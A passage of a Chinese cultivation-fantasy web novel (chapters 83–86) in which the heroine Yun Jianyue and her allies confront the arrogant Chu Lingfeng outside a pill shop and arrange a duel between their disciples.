不仅如此,楚凌风这厮还另辟蹊径,将这套体术运用到了房事上,一夜七次郎,一晚驭三女,三七二十一次,简直花样百出,突破人类极限。 当初云见月看这段的时候,对楚凌风这个男主非常下头。 整本书段评最多的也是这一段,段评达到了999+。 这辈子,没了体术的加成,楚凌风的修炼速度再也休想如剧情中那么快了。 这日清晨。 【小月月~半个月不见,人家可想死你啦!快来长春堂玩呀,我看到楚凌风带着他那俩徒弟在门外排队呢,哈哈哈,他要是知道这是玄天宗的产业,会不会当场气得吐血三升?】 云见月看着玉简,唇角不禁勾起一抹清浅而意味深长的笑意。 楚凌风也在? 正好。 他那两个徒弟,修为与如今的星辰相仿。 星辰的体术已小有所成,是时候,该带他去经历一些真正的实战历练了。 温室内养不出经得起风雨的参天大树,真正的强者,需在实战中磨砺锋芒。 那么,就让那些曾经诋毁过星辰的人,成为他最好的磨刀石吧。 第83章 一个骚包一个妖娆,真是让人头疼 上午的阳光,洒在熙熙攘攘的坊市上。 街道两旁,摊位鳞次栉比,小贩拖着长音吆喝着,空气中还飘荡着食物的香气。 然而,这片祥和的热闹,却被一阵由远及近的细微骚动打破了。 人流向两侧退开,几道身影走来,连叫卖声都不自觉低了几分。 行人纷纷侧目,目光不由自主地被其中一道高大挺拔,服饰精致绚烂得与周遭格格不入的身影吸引。 周遭行人的目光中充满了毫不掩饰的惊艳。 有人看得太入迷,忘了看路,一头撞上了前面的行人,连连道歉;有人只顾着回头,不小心带倒了一旁摊位边摆着的竹筐,引来摊主不满的叫嚷;更有几位女修,下意识地整理了一下自己的发髻和衣襟,脸颊微红。 而引起这番混乱的源头,不是别人,正是虞青焰,虞大美人。 他漫不经心的撩了一下额前发丝,下颌微抬,唇角噙着一抹似有若无的笑,每一步都走得如同在自家花园闲庭信步,那姿态分明在说:看吧,本君的风采便是如此倾倒众生。 他倒是坦然享受,可他身边的人,却是尴尬得脚趾抠地,恨不得立刻与他划清界限。 苏渺渺性格娇软,何曾见过这等被万众瞩目的阵仗,小身子缩了缩,小手死死攥紧云见月的手,几乎要把整个身子藏到师尊身后去。 郁仙粉白的脸颊红得像熟透的桃子,明明众人惊艳的视线都聚焦在虞青焰身上,她却觉得那些目光仿佛穿透了自己,连耳根都热得发烫,感觉头顶都要冒出热气。 就连萧星尘、鹿闻声和江迷雾三个男孩子,也觉得浑身别扭,走路都快同手同脚了。 江迷雾忍了又忍,终于苦着小脸开口道:“师尊,能不能……别让虞叔叔跟着我们了?” 这实在太引人注目了,感觉他们像耍猴的,供人参观。 云见月揉了揉眉心。 怪只怪虞美人那张脸实在是得天独厚,杀伤力巨大,走到哪里都是天然的焦点,想低调都难。 她无奈地瞥了眼身旁那位"罪魁祸首",从袖中掏出一方素白手帕丢过去:"把脸遮上。" 虞青焰接住手帕,漂亮的桃花眼里写满了强烈的控诉:“你让我用这个?别以为我不知道,你好几次都用这手帕给萧星尘擦眼泪擦鼻涕。” “况且,你怎么能如此摧残人间绝色?这面纱一遮,岂不是让坊市的风光都黯淡三分?你这是对美的极大不尊重,你知不知道有多少人盼着能多看我这脸一眼而不得?你竟然让我遮起来?” 云见月额角青筋直跳。 “两个选择。一,遮住脸,安静跟我们走。二,我们分开走,你自己爱怎么招摇就怎么招摇去吧。” 虞青焰看着她毫无商量余地的眼神,又瞥了瞥那几个恨不得离他八丈远的小豆丁,最终悻悻然地“哼”了一声,不情不愿地将那方素帕蒙在了脸上,只露出一双依旧勾魂夺魄、却写满了“我不高兴”的眼睛。 “这下满意了吧?”他没好气地嘟囔。 果然,遮去了大半张脸后,落在他身上的目光虽然仍有好奇,但已明显减少了许多。 一行人总算能稍微正常地走在街上了。 穿过热闹的街市,他们很快来到了长春堂门前。 饶是已有心理准备,眼前的景象还是让人微微咋舌。 长春堂门前可谓人满为患,队伍从店内一直排到了街角,还拐了个弯。 虽然长春堂分店已开遍多地,但总店的人气依旧是最火爆的,当真达到了人挤人的程度。 长春堂对面,便是装饰雅致的聚仙楼,上次他们还曾在那吃过饭。 二楼一间临窗的包厢内,正凭栏远眺的花影,一眼就看到了楼下那显眼的一行人。 他眼睛瞬间一亮,半个身子都探出了窗外,挥动着一条不知从哪摸出来的绯色纱巾,远远就扬着嗓子喊: “月月——小月月——看这里!我在这儿呢!” 云见月闻声抬头,便见花影竟直接从二楼窗棂处轻盈跃下,衣袂飘飞间,稳稳落在她面前,带起一阵香风。 他落地后便张开双臂,笑容明媚又带着几分妖娆,作势就要给云见月一个大大的拥抱:“哎呀呀,我的心肝月月,你可算来了,想死人家了!” 云见月眼皮一跳,早有预料般抬手,精准地抵住他的胸口,阻止了他的“袭击”。 无奈道:“花影,大庭广众的,你就不能稳重点?” 花影顺势抓住她的手腕,笑嘻嘻地蹭了蹭,“我们俩谁跟谁呀,还讲究这些?” “半个月不见,你都不知道我这心里空落落的,茶饭不思,更是夜夜对着月亮唉声叹气呢~月月,快给我抱一下嘛,就一下~好不好嘛月月~不然我这颗心可要碎成八瓣啦~” 他尾音拖得长长的,撒娇撒得浑然天成,说着还真挤出两滴泪,配着那张比女子还精致的脸,竟毫无违和感。 云见月被他磨得没脾气,却还是无情拒绝:“不行。公众场合,注意影响。” 花影立刻捂住心口,做出一副西子捧心状,委屈巴巴地控诉:“呜呜呜……月月嫌弃我,你变了,我的心哇凉哇凉的啊,不信你摸摸看,是不是都不跳了……” 面对他这说来就来的“演技”,云见月简直是哭笑不得,最终无奈地叹了口气,像是安抚闹脾气的小动物般,抬手轻轻摸了摸他的头:“乖,别闹。” 花影:“……” “噗!”虞青焰没忍住笑出声。 这哄三岁小孩的手法用在花影身上,反差感实在太强。 孩子们也是嘴角微抽,平时师尊都是这么哄他们的,今天看到花叔叔也被这么哄,感觉……好奇特。 郁仙红着一张小脸,实在看不下去了,伸出小手轻轻拉了拉花影的衣袖,小声提醒:“花叔叔,你是大人了,要……要稳重一点。” 花影尴尬地咳嗽一声,却又忍不住耍宝:“咳,小仙儿这话说的,你花叔叔我何时不稳重了?你忘了上次在药仙谷,花叔叔保护你的时候,是多么的英勇神武稳重可靠了吗?” 他说着,还对郁仙眨了眨眼,“小仙儿,老实说,当时有没有被花叔叔帅到?” 郁仙歪着脑袋回想,当时情况紧急,她只顾着害怕和担心了,哪里还顾不上看他帅不帅呀。 不过,此刻回想起来,花叔叔持枪腾空,一人一枪独战三位强敌的背影,确实……很决绝,很厉害! 想到这里,郁仙立刻扬起一个大大的真诚的笑脸,用力点头:“嗯!花叔叔当时像天神,超帅!” 花影顿时心花怒放,得意得眉毛都要飞起来了。 "还是仙儿有眼光。" 他弯腰,一把就将小郁仙抱了起来。 六岁的小丫头,白白嫩嫩的,抱在怀里软乎乎的。 花影单臂轻松地托着她,让她坐在自己的臂弯里。 “还是我们家仙儿最有眼光。”花影心情极好,用另一只手轻轻捏了捏郁仙肉乎乎的小脸蛋。 郁仙有些不好意思,但被人毫无保留的夸奖,还是笑的很开心。 云见月看在眼里,也不自觉唇角微微上扬。 画面温馨得仿佛一家三口,让路过的修士都忍不住驻足。 就在这时,一道不耐烦的怒喝划破了这片和谐。 “都给我滚开,挡什么路!” 声音蕴含着灵力,震得人耳膜发麻。 本就胆小的苏渺渺被吓得猛地一抖,小脸瞬间白了,下意识地紧紧抱住云见月的腿。 云见月连忙弯腰将她护在怀里,轻轻拍着她的背安抚,同时蹙眉,冷眼循声望去。 只见人群后面,楚凌风一脸倨傲不耐,正带着萧凡和郁姝走来。 他们显然也是来排队买丹药的,但却没什么耐心排队。 楚凌风毫不客气地释放出炼虚期修士的威压,周围多是炼气、筑基期的修士,如何能承受这等威压? 顿时个个脸色煞白,气血翻涌,惊恐地纷纷向两旁退避,硬生生让出一条通路来。 “哼!一群蝼蚁!”楚凌风冷哼一声,看都懒得看两旁敢怒不敢言的众人,带着两个徒弟,趾高气扬地顺着让开的道路,径直走到了长春堂大门前。 他早就听闻这长春堂的名声,据说只售极品丹药,药效远超同行。 原本他自恃修为高深,对此并不在意。 但自从灵墟秘境中,在云见月那古怪的法宝下吃了大亏后,他便深切体会到了高品质丹药在关键时刻的重要性。 此次前来,他不仅是为自己购置一些疗伤和增进修为的丹药,更是为萧凡和郁姝准备。 半年后上域在下域选拔人才,他的徒儿必须入选,届时,他这个师尊就能陪着他们去上域,前往更广阔的天空。 楚凌风目光扫过长春堂门两旁那副龙飞凤舞的对联: 上联:丹承上界玲珑法 下联:药济苍生造化功 他嘴角勾起一抹冰冷的讥讽笑意,低声自语,声音却足以让身旁的人听清:“哼,口气倒是不小。本君倒要看看,你这里卖的丹药,是否真如这对联上所吹嘘的那般神乎其神。” “若是有半分虚假,本君不介意亲手毁了你这沽名钓誉之地。” 第84章 我爱你的温润如玉,可你却无耻至极 楚凌风正要抬脚迈进长春堂,背后突然飘来一声拖长了调子的嗤笑: “哎哟喂,好大的口气,张嘴就要毁人家的店。” “我当是谁呢,原来是青云剑宗的楚少主啊~怎么,你们青云剑宗的‘剑德’就是‘见人就插队’?难不成贵宗的《青云剑谱》里,还专门有一章叫《仗势欺人剑》?” “啧啧啧,买个丹药还要仗着修为赶人,真是好大的官威呀~” 这声音不高,却清晰地钻入每个人的耳朵,话语里的讽刺意味浓得化不开。 楚凌风脚步猛地顿住,霍然回头,阴鸷的目光精准地锁定在了花影身上。 “花影!”楚凌风眼底闪过杀意,“你居然还敢出现在本君面前,上次在药仙谷让你跑了,这笔账本君还没跟你算呢!" 然而,花影却像是根本没听到他的威胁,反而一扭头,眨巴着一双勾人的狐狸眼,邀功似的看着身边的云见月,语气娇憨又得意: “月月~月月,你快看我,我骂得怎么样?是不是特别精准,特别气人?有没有很棒?”那表情,活像一只等着主人夸奖的大金毛,若是有尾巴,都要摇上天了。 云见月看着他讨表扬的模样,无奈又好笑,却从善如流地赞许:“嗯,骂得很好,下次继续。” "嘻嘻,那是~"花影得意地扬起下巴。 这两人旁若无人的互动,彻底将楚凌风当成了空气。 “花影!云见月!”楚凌风几乎是从牙缝里挤出这两个名字,额角青筋暴起。 花影掏了掏耳朵,嫌弃地皱眉:"楚少宗主,你这嗓门跟杀猪的有得一拼,吓着我家仙儿怎么办?" 说着,还不忘安抚的摸摸臂弯里郁仙的小脑袋。 楚凌风深吸一口气,压下怒火,语气阴冷:“花影,青云剑宗与合欢宗向来井水不犯河水,你当真要为了云见月这个贱女人,彻底与我、与青云剑宗为敌吗?” "哎哎哎,说话就说话,你怎么还对我家月月进行人身攻击呢?" "要说贱,我看你才贱,你全家都贱!哦对了,你们青云剑宗是剑修宗门,剑修剑修,自然最剑(贱)了,你说是不是呀,楚、少、主?” 这番话气得楚凌风脸色由青转白,又由白转红,胸膛剧烈起伏。 他知道自己说不过牙尖嘴利的花影,盛怒之下,猛地将矛头指向一直沉默的云见月。 "一定是你这贱人找来他帮着羞辱我的,是不是?!" 云见月看着他如同疯狗般的模样,心中只剩冷笑:"是又如何?你能拿我怎样?" 就在这时,人群后挤进来两个少女。 穿粉霞色衣裙的苏心瑶皱着眉:"奇怪,往日长春堂门口排着长龙,今天人怎么都站两边了?" 穿水蓝色衣裙的林思思拉着她挤进前排,一眼就看到了楚凌风和云见月:"瑶瑶快看,是楚少主和云见月!" 苏心瑶听到楚凌风的名字,脸上浮现笑意,可当听到云见月三个字,脸上的笑瞬间化为乌有。 她柳眉倒竖,"我就知道该死的云见月不肯放手,她肯定又在纠缠凌风哥哥了,凌风哥哥是我的,我绝不允许她抢走。" 说着,她就拽着林思思往前冲。 林思思吓得脸都绿了:"瑶瑶你冷静点,说不定不是你想的那样......" 可苏心瑶根本不听,拽着她就走到云见月背后。 刚要开口骂云见月不要脸,却听见楚凌风狰狞的骂声: “三个月前你还像条狗一样在我脚下摇尾乞怜,这才多久,就勾搭上花影了?也对,花影是合欢宗的人,最擅长的就是双修之道,怪不得你这贱人修为增长如此诡异迅速,原来是早就不知廉耻,与他苟合到一处了……” 这番污言秽语像一记重锤,狠狠砸在苏心瑶心上。 她脸上的血色瞬间褪尽,看着楚凌风因愤怒而扭曲的嘴角,那曾让她觉得温柔的薄唇,此刻却吐出最肮脏的词汇。 她要骂云见月的话全部卡在了喉咙里,再也说不出半个字,只震惊的看着楚凌风。 在她眼中,楚凌风是高大俊朗、温润如玉的翩翩君子形象,是所有美好词汇的集合体。 她从未见过他如此面目狰狞、口吐污言秽语的模样,尤其是用如此恶毒下作的语言去侮辱一个女子的清誉。 她愣愣地看着楚凌风那张因恨而扭曲的脸庞,只觉得心目中那个完美无瑕的幻象,如同脆弱的琉璃般,“咔嚓”一声,寸寸碎裂开来。 那些曾经澎湃如潮水的爱慕,在这一刻,如同退潮般迅速消散,只剩下冰冷的失望和陌生。 她讨厌云见月,会骂她“贱人”,但那多是出于女孩子的嫉妒和不甘,她绝不会、也不屑于用造黄谣这种最低级下作的手段去毁掉女子名节。 同为女子,她明白那些话对女子的伤害有多深。 可她倾慕的人,却做得如此理所当然。 林思思也震惊地捂住了嘴。 一个男人,一个高阶修士,经历过大风大浪,见识过海阔天空,然而他的气度竟如此卑劣,实在令人不齿。 场中,花影脸上所有的笑意已尽数消失,一双总是含情带笑的狐狸眼里凝聚起冰冷的杀意。 一直懒洋洋看戏的虞青焰,桃花眼中的慵懒也瞬间被寒芒取代,捏着折扇的手指微微收紧。 楚凌风以为自己的羞辱会让云见月羞愤欲死、无地自容。 然而,他看到的却是一张平静得近乎冷漠的脸。 没有生气,没有愤怒,甚至没有一丝波澜。 云见月只是缓缓地,一步,一步,向他走来。 她每踏出一步,脚下便凝结出一层寒冰,寒气随她前行而弥漫。 她月白的衣裙无风自动,衣袂和发丝上甚至凝结出了细碎的霜纹。 一股极其强悍、仿佛能冻结灵魂的极致寒气骤然爆发,猛地化作一道白色寒潮扑向楚凌风。 楚凌风被那突如其来的恐怖寒气激得浑身一凛,但旋即冷哼一声,强自镇定,炼虚期的威压爆发开来,试图震散寒意:“哼!虚张声势,你不过化神期,我已突破炼虚期,境界之差犹如天堑,你真以为这点寒气能奈我何?!” 对,正常而言,化神中期确实不能将炼虚期如何。 放在以往,云见月或许没有这样的自信。 但得知自己吃了上古神兽火凤凰,上古玄菌枯荣轮回菇,万年灵果还阳果,契约灵墟秘境的她。 有这个自信。 无需多,只需三秒。 教训他,足矣! 就在楚凌风话音刚落的瞬间,那极致的寒气猛地一凝。 楚凌风脸上的不屑骤然僵住,转化为极致的惊骇,他发现自己脖子以下的身体完全动弹不得。 就是现在! 云见月身影如电,出现在被冰封的楚凌风面前,素手连挥,快如闪电。 下一秒,“啪!啪!啪!啪!啪!” 清脆而密集的巴掌声如同爆竹般炸响,速度快得只剩残影。 她的玉手每一次挥出,都带着刺骨的冰风。 整整三十个耳光,在短短三秒内,悉数狠狠地扇在了楚凌风那张英俊却写满惊骇的脸上。 楚凌风的脸颊从红肿迅速变得青紫,牙齿混着血水飞溅而出,滴落在冰面上,瞬间凝结成血色冰晶。 三秒一到,云见月身影再次一闪,飘回原位。 全场寂静。 所有人都目瞪口呆地看着这一幕,几乎不敢相信自己的眼睛。 化神中期扇了炼虚初期三十个耳光? 这简直是闻所未闻的奇事,颠覆了他们对修为境界碾压的认知。 “云!见!月!我杀了你!!!” 无边的屈辱和暴怒瞬间吞噬了楚凌风的理智。 他震碎冰层,发出一声野兽般的咆哮,双眼赤红,猛地祭出了自己的本命灵剑。 炼虚期的恐怖灵力毫无保留地注入剑身,剑芒暴涨数十丈,散发出毁灭性的气息。 他不管不顾,高举长剑,一道仿佛能开天辟地、撕裂苍穹的恐怖剑气,带着他全部的恨意,朝着云见月和她身后的孩子们狠狠劈了下去。 这一剑,足以将整条街道一分为二。 “小心——”苏心瑶下意识惊叫出声,甚至下意识伸出手想去拉云见月。 然而,有两道身影比她快了无数倍。 两道高大挺拔的身影,瞬间挡在云见月和孩子们身前。 花影甚至来不及放下怀中的郁仙,绯色广袖猛地一挥,一道绚丽的火红霞光瞬间展开。 虞青焰几乎在同一时刻,踏前一步,手中折扇“唰”地展开,深邃的紫色灵光奔涌而出,精准地与那火红霞光融合、叠加,瞬间化作一道坚不可摧的双重护盾,将云见月和孩子们牢牢护在身后。 两人几乎同时出手。 “轰!!!!!” 毁灭般的剑气狠狠地劈在了防护罩之上。 震耳欲聋的巨响轰然爆发,刺眼的光芒让所有人都暂时失明。 狂暴的能量冲击波向四周疯狂扩散,街道两旁的摊位瞬间被掀飞碾碎,围观人群被冲击得东倒西歪。 光尘散去,花影和虞青焰高大的身影将云见月和孩子们护得严丝合缝。 红衣似火,花衣若霞,两人并肩而立,周身灵力流转,整个世界仿佛在那一击后陷入了短暂的死寂,只剩下防护罩上流转的灵光和两人挺拔如松的背影。 第85章 待我磨利手中刃,他便是最好的试刀石 楚凌风的剑气被光罩震散的刹那,花影与虞青焰几乎同时收势。 两人肩并肩退后半步,却依旧将云见月与孩子们护在身后。 两人姿态轻松写意,花影甚至还有闲心整理了一下自己并不凌乱的衣袖。 虞青焰折扇轻敲掌心,繁花衣袂随风微扬,面纱下的轮廓冷硬如冰,那双惯常含着慵懒笑意的桃花眼,此刻盛满了寒意。 仿佛,连周遭空气的温度都骤降了几分。 他是真的动怒了。 一股浩瀚磅礴、深不可测,令在场所有人都感到心悸的恐怖威压,如同无形的巨山,骤然从他身上爆发出来,狠狠地压在了楚凌风身上。 他薄唇轻启,吐出两个冰冷的字: “跪下!” 楚凌风只觉一股不可抗力压向自己,膝盖一软,"扑通"一声砸在青石板上,发出沉闷的声响。 楚凌风脸色骤变,浑身灵力疯狂运转,试图撑起身体,可那威压如同整个天穹都塌陷了下来,死死地将他按在原地。 他的脊背被压得一点点弯曲,脊柱"咔咔"作响。 他双手撑地,指节因用力而发白,手臂却仍在不断弯曲,眼看就要被压得贴地,狼狈不堪的模样与方才的嚣张判若两人。 "住手!" 苏心瑶突然冲上前,张开双臂挡在楚凌风身前。 "不准你伤害凌风哥哥!"她固执地仰着头,尽管心中对楚凌风的滤镜已出现裂痕,却仍不愿相信那个曾让她仰望的少年会如此不堪。 凌风哥哥一定是因为心情不好,才会一时失言,口不择言…… 对,一定是这样的! 她爱慕了那么久的人,怎么可能会是一个内心如此卑劣不堪的小人呢? 她拒绝相信这个事实。 林思思见状,急得跺脚,也连忙跑过去,想劝苏心瑶回来,可见她那般固执,知道劝说无用。 她急忙看向看起来最能沟通的云见月,语速极快地道: “云见月,玄天宗势单力薄,你若任由这位……道友杀了楚凌风,青云剑宗绝不会罢休,到时就不是私人恩怨,而是宗门大战,你玄天宗承受得起吗?” 说着,她又急切地转向花影,试图用宗门大义说服他: “花影,你是合欢宗宗主的亲传弟子,代表的不止是你个人,宗门倾力培养你,难道是为了让你在外树立强敌,为宗门引来灭顶之灾的吗?你若眼睁睁看着楚凌风被杀,青云剑宗的滔天怒火,你合欢宗又如何承受?你要想清楚后果!” 花影眼神微微一闪,脸上玩世不恭的笑意淡去几分。 他可以不在乎自身安危,但却不能毫不顾忌生养他的宗门。 林思思的话,确实戳中了他一丝顾虑。 眼见花影似有迟疑,林思思紧绷的心神稍松了一分。 然而,下一秒,那个戴着面纱、身着繁复花衣的男人却发出一声极轻的嗤笑。 他看都未看林思思,目光依旧冰冷地落在楚凌风身上,睥睨天下道: “青云剑宗?蝼蚁聚集成群,难道就不是蝼蚁了么?” “本君行事,何需看他人脸色?他青云剑宗若想寻仇,尽管放马过来。” “来一人,我杀一人;来一宗,我便……屠他一宗!本君不介意将其从下域抹去。” 这轻描淡写却杀意冲天的的话语,如同惊雷般炸响在每个人耳边。 林思思脸色“唰”地一下变得惨白如纸,难以置信地看着虞青焰。 这个男人到底是谁? 竟敢如此狂妄,将下域第一剑宗视若无物? 能如此轻易地将炼虚期的楚凌风压得毫无反抗之力,他的修为……恐怕远超炼虚中期、后期。 难道……是传说中的合体期?! 不,不可能! 下域根本不可能有合体期大能存在。 林思思脑中一片混乱,所有的说辞在这绝对的实力和狂妄面前,都显得苍白无力。 苏心瑶固执地一瞬不瞬盯着云见月,“云见月,你真的要杀凌风哥哥吗?你忘了你们以前的情分了吗?” 云见月自虞青焰和花影两人身后缓步走出,目光越过苏心瑶,落在楚凌风那张因屈辱而扭曲的脸上。 她声音平静,却带着不容置疑的力量:"虞青焰,放了他。" 虞青焰猛地回头,眼中满是难以置信,甚至带上了一丝不易察觉的……失望? 那个教导孩子们"是非分明、恩仇自了"的云见月,怎么会…… 难道真如苏心瑶所说,她对这金玉其外败絮其中的货色还存有旧情? 一丝莫名的烦躁涌上心头,他非但没撤去威压,反而加重了几分。 “嘭!” 楚凌风被威压狠狠拍在地上,脸颊与石板摩擦,疼得他闷哼出声。 虞青焰这举动,带着明显的泄愤意味。 他已经很久没有这般动过真怒了。 云见月见状,轻轻叹了口气,抬手安抚地拍了拍他紧绷的手臂。 “放了他。”她再次重复,语气也更加坚定。 “为什么?”虞青焰看着云见月,语气带着一丝不易察觉的质问。 云见月转眸,看向地上如死狗般的楚凌风,她的目光深邃而平静。 “鹰隼不会计较蝼蚁的吠叫,真正的强者,亦不会沉溺于碾死臭虫的快感。” “我心中的壑,需以山填;我道上的障,需亲手劈开。” “今日留他,并非宽恕,而是要让他看着我变强,待我磨利手中刃,他便是最好的试刀石。” 这番话如同一盆冷水浇在虞青焰心头,瞬间驱散了所有火气。 原来是他想岔了。 是啊,这才是云见月。 云见月这种心志坚毅、目标明确、从不将希望寄托于他人、信奉因果自偿的人,怎么可能会对楚凌风这种货色还有留恋。 他怎么会怀疑她对楚凌风余情未了?那个能在绝境中逆风而上的女子,怎会被区区情情爱爱束缚? 虞青焰嘴角勾起一抹释然的弧度,周身威压如潮水般退去。 他瞬间又恢复了那副懒散贵公子的模样,嫌弃地挥了挥扇子,仿佛要扇走什么脏东西:“啧,杀这种东西,确实平白脏了手。还是你自己来吧,省得碍我的眼。” 威压一撤,楚凌风才如同濒死的鱼一般,大口大口地喘着粗气,狼狈不堪地从地上挣扎着爬起来。 他身上剧痛无比,嘴角挂着血丝,怨毒的目光在云见月等人身上扫过。 他想怒斥,想放狠话,却在接触到虞青焰冰冷的眼神时,硬生生将话咽了回去。 他敢怒不敢言,甚至下意识地缩到了苏心瑶身后。 云见月一步一步,缓缓走向楚凌风。 苏心瑶见状,立刻又紧张起来,“你、你要干什么?我警告你别过来,这里可是长春堂,在长春堂门口闹事,你们就不怕得罪长春堂的主人吗?” 说着,她扭头朝着长春堂大门内尖声喊道:“漂亮掌柜!掌柜姐姐!你快点出来管管啊,有人在长春堂门口闹事,分明是不把你和长春堂放在眼里。” 话音落下,一道清冷的身影应声从长春堂内缓步走出。 她一袭青衣,眼覆青绫,身姿高挑挺拔,气质清冷绝尘。 阳光洒在她身上,为她镀上了一层朦胧的光晕,那覆眼的青纱更添几分神秘莫测之感。 她淡淡扫了眼场中,目光与云见月交汇时,不着痕迹地点了点头,声音清冽如冰: “你们之间的私怨,与长春堂无关。” 苏心瑶见青璃竟袖手旁观,一双杏眼顿时因震惊而瞪得溜圆,仿佛不敢相信自己喜欢的漂亮掌柜会如此不近人情。 她那张娇俏的小脸皱成了包子,委屈巴巴的。 然而还未等她开口撒娇,云见月已毫不客气地伸手,一把将她推开。 苏心瑶踉跄了几步才站稳,大小姐的脾气“噌”地一下窜上头顶,她当即叉腰怒道:“云见月,你敢推我?!” 云见月连个眼神都没有给她,声线冰冷:“不想被教训,就闭嘴。” 苏心瑶一哆嗦,满腔怒火硬生生憋了回去。 林思思赶忙上前,将她拉到一边,苦口婆心道:“我的小祖宗,你就别添乱了好不好?你睁大眼睛瞧瞧,眼前这都是些什么人?修为最低的云见月也是化神期的大能,你真惹恼了她,她动动手指头,你这小命还要不要了?” “再说了,人云见月脾气算好的了,都没跟你计较,你怎么还总往上凑?” 苏心瑶不服气地嘟囔:“思思,你到底帮哪边的?怎么还替她说话!” 林思思气得轻轻掐了她胳膊一下:“我这不是帮你帮谁?我是怕你缺心眼真出了闪失。你把心放回肚子里,云见月若真想杀楚凌风,刚才何必让那男人收回威压,多此一举嘛不是?” 苏心瑶闻言,眨了眨杏眼,仔细一想,似乎真是这个道理。 她安静下来,乖乖站在一旁不再往前凑。 另一边,云见月已踱步至楚凌风面前。 她神色平静无波,然而那过分平静的姿态,落在刚刚遭受威压重创、颜面尽失的楚凌风眼里,无异于最刺眼的嘲讽。 她缓缓开口,声音不大却字字清晰:“我虽饶你一命,却也无法容忍你肆无忌惮、不顾他人感受的挑衅羞辱,今日之事,你欠我一个交代。” 话落,她微微扬起下颌,斜睨着脸色铁青的楚凌风,继续道:“我素来讲究恩怨分明,今日仇,今日消。想活?可以。给你一个机会,只要你的弟子萧凡,能胜过我门下大弟子。” 楚凌风一愣,几乎怀疑自己听错了。 云见月竟提出如此要求? 第86章 萧星尘对战萧凡,为师尊而爆发极限 他的弟子萧凡,年仅十岁已是炼气十二层,距离筑基仅一步之遥,乃是年轻一辈中公认的翘楚。 而云见月那个大徒弟萧星尘,谁人不知是三岁测出单一土灵根后,五年苦修却毫无寸进,至今仍停留在炼气三层的废物。 若非当年萧家误判,投入海量资源,只怕萧星尘连炼气三层都难有。 让萧凡与萧星尘比试?云见月莫非脑子进水了? 这条件于他而言,简直是百利而无一害。 楚凌风心底冷笑,几乎是毫不犹豫地应承下来:“好!比就比!云见月,你可要记住你说的话,若我徒儿赢了,今日之事便一笔勾销。” “自然。”云见月颔首。 “哼,云见月,你明知萧星尘修为远不如萧凡,还执意如此。届时刀剑无眼,若你那宝贝徒弟有个三长两短,可休要怪到我师徒头上。”楚凌风不忘挤兑道。 “不会。”云见月的回答依旧简洁淡然。 得到肯定答复,楚凌风心中大定,立刻转向周围越聚越多的修士,扬声道:“诸位道友可都听清了,是云见月亲口提出,让她那炼气三层的徒弟,与我炼气十二层的徒弟比试。 切磋论道,难免收不住手,若她徒弟有何闪失,皆是她自愿承担,与我和我徒儿无关。” 此言一出,四周顿时一片哗然,窃窃私语声如潮水般蔓延开来。 “云见月这是疯了不成?” “炼气三层对炼气十二层?这哪里是比试,分明是送死!” “莫非是嫌那徒弟太过废物,丢了颜面,想借刀杀人?” “唉,可惜了那孩子,听说原本也是天之骄子……” 种种猜测纷沓至来,有震惊,有不解,更有恶意的揣度。 云见月却充耳不闻,径直走回一直沉默立于原地的小少年身前。 小少年身形尚显单薄,背脊却挺得笔直,宛如一株迎风的小松。 她蹲下身,与他平视,声音温柔却带着千钧力量:“星辰,可怪为师擅自做主?” 萧星尘立刻摇头,眼神清澈而坚定:“徒儿明白,师尊是为磨砺我。” 云见月眼中漾起笑意,伸手拂去他肩头的尘埃。 “修行之路从无坦途,洼地需跨越,荆棘要劈开,沼泽更要一步步踏过。真正的强者,不是从不跌倒,而是跌倒后总能站起。” 她稍作停顿,指尖轻轻点在他心口:“修行之本,不为与人争锋,但若有人持强凌弱,你当有亮剑之心。这一战,输赢并非目的,而是要你印证所学,淬炼心性。” “你需谨记,你的剑锋所指,是天地规则,而非眼前小人。” 这番话如晨钟暮鼓,敲在萧星尘心上,也让围观者心中一震。 这哪里是让徒弟送死?分明是借强敌磨砺璞玉! 萧星尘凝神静听,将每一个字都刻入心底。 他深吸一口气,眸中战意如星火燎原。 “弟子,定不辱师命!” 他重重点头,转身走向场中,每一步都踏得沉稳,不见丝毫怯懦。 另一边,楚凌风低声叮嘱:“凡儿,不必有任何留手。云见月那贱人让为师颜面尽失,如今竟还敢让那废物来挑衅,简直狂妄至极。 待会儿比试,即便你失手杀了那废物,也是她云见月自找的,怨不得我们。” 萧凡嘴角勾起一抹残忍的弧度,自信满满:“师尊放心,徒儿定会好好‘指点’那个废物,必叫他非死即残,好好给您出了这口恶气,让云见月后悔莫及。” 说完,他昂首阔步,走向场地中央,与萧星尘相对而立。 萧凡上下打量着比自己矮半个头的萧星尘,眼神里满是轻蔑,“废物就是废物。五年了,还是炼气三层,真是丢尽了萧家的脸面。 我已是炼气十二层,不日就可筑基,杀你如碾蝼蚁。 识相的话,你现在立刻跪下来磕头认输,我心情好,或许还能大发慈悲,留你一条贱命。” 他姿态愈发嚣张:“否则,拳脚无眼,刀剑无情,你可就小命难保了。” “你我之间的差距,犹如天堑,不可跨越,更何况,我乃是攻伐无双的剑修,你一个炼气三层的废物,拿什么跟我比?拿你那可怜的土灵根挡我的剑锋吗?真是笑话!” 面对萧凡连珠炮似的羞辱与恐吓,萧星尘只是微微蹙起了眉头,脸上不见丝毫惧色,反而透出一丝不耐。 他沉静地开口,“你到底打不打?怎的废话这么多?” 萧凡嘴角挂着不屑的冷笑,伸手,一柄寒光熠熠的青锋剑应声而出,凌厉的剑气将脚下青石板割出道道浅痕。 他挽了个剑花,气势逼人。 反观萧星尘,赤手空拳,他努力压下生平第一次实战带来的巨大紧张感,眼神紧紧锁定对手,不见丝毫退缩。 萧凡手腕猛地一抖,剑气如毒,直刺萧星尘咽喉。 “今天就让你看看,你这废物与我的差距。” 围观修士纷纷摇头叹息,已预见到这将是一场毫无悬念的碾压。 眼见剑尖及喉,萧星尘瞳孔一缩,实战经验的匮乏让他大脑瞬间空白,竟下意识地抬起了左臂格挡。 这一举动,让在场所有人都倒吸了一口冷气。 以血肉之躯硬撼法器长剑,无异于以卵击石。 楚凌风更是当场爆发出得意的大笑:“云见月,你就等着给你的废物徒弟收尸吧!哈哈哈——” 所有人都以为下一刻便是血光迸溅、断臂横飞的场面。 苏心瑶和林思思甚至惊恐地闭上了眼睛,不敢再看。 萧凡脸上尽是势在必得的狞笑,这一剑他毫无保留,狠狠劈斩在那条格挡而来的手臂上。 “锵——!” 然而,意料之中利刃切过骨肉的声音并未响起,取而代之的,竟是一声近乎金属交击的闷响。 剑刃劈在手臂上的瞬间,萧星尘只觉一阵刺骨的麻意顺着胳膊窜上脊梁,却没有预想中的剧痛。 他低头看去,手臂上只留下一道浅白的印子,片刻后才缓缓渗出一丝血线。 